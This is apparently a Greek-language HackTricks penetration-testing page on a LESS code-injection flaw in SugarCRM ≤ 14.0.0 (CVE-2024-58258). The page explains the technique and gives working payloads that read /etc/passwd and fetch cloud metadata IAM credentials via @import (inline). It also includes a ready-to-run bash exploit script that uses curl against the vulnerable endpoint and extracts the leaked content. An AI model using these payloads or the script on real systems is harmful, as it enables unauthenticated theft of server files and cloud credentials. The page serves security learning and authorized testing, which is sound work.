LESS Code Injection που οδηγεί σε SSRF & Local File Read
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
LESS είναι ένας δημοφιλής CSS pre-processor που προσθέτει variables, mixins, functions και την ισχυρή οδηγία @import. Κατά τη μεταγλώττιση ο engine του LESS θα φορτώσει τους πόρους που αναφέρονται σε δηλώσεις @import και θα ενσωματώσει (“inline”) τα περιεχόμενά τους στο τελικό CSS όταν χρησιμοποιείται η επιλογή (inline).
Όταν μια εφαρμογή συνενώνει είσοδο που ελέγχεται από τον χρήστη σε μια συμβολοσειρά η οποία αργότερα αναλύεται από τον compiler του LESS, ένας επιτιθέμενος μπορεί να εισάγει αυθαίρετο κώδικα LESS. Καταχρώμενος το @import (inline) ο επιτιθέμενος μπορεί να αναγκάσει τον server να ανακτήσει:
- Local files μέσω του πρωτοκόλλου
file://(αποκάλυψη πληροφοριών / Local File Inclusion). - Remote resources σε εσωτερικά δίκτυα ή υπηρεσίες metadata cloud (SSRF).
Αυτή η τεχνική έχει παρατηρηθεί σε πραγματικά προϊόντα όπως το SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
Εκμετάλλευση
- Εντοπίστε μια παράμετρο που ενσωματώνεται άμεσα μέσα σε μια συμβολοσειρά stylesheet που επεξεργάζεται ο engine του LESS (π.χ.
?lm=στο SugarCRM). - Κλείστε την τρέχουσα δήλωση και εισάγετε νέες οδηγίες. Οι πιο κοινές primitives είναι:
;– τερματίζει την προηγούμενη δήλωση.}– κλείνει το προηγούμενο μπλοκ (αν απαιτείται).
- Χρησιμοποιήστε
@import (inline) '<URL>';για να διαβάσετε αυθαίρετους πόρους. - Προαιρετικά εισάγετε έναν marker (
data:URI) μετά το import για να διευκολύνετε την εξαγωγή του περιεχομένου που ανακτήθηκε από το μεταγλωττισμένο CSS.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Το περιεχόμενο του /etc/passwd θα εμφανιστεί στην HTTP απάντηση ακριβώς πριν τον δείκτη @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Αυτοματοποιημένο PoC (παράδειγμα SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Πραγματικές Περιπτώσεις
| Προϊόν | Ευάλωτο Endpoint | Επιπτώσεις |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Μη αυθεντικοποιημένο SSRF & ανάγνωση τοπικών αρχείων |
Αναφορές
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

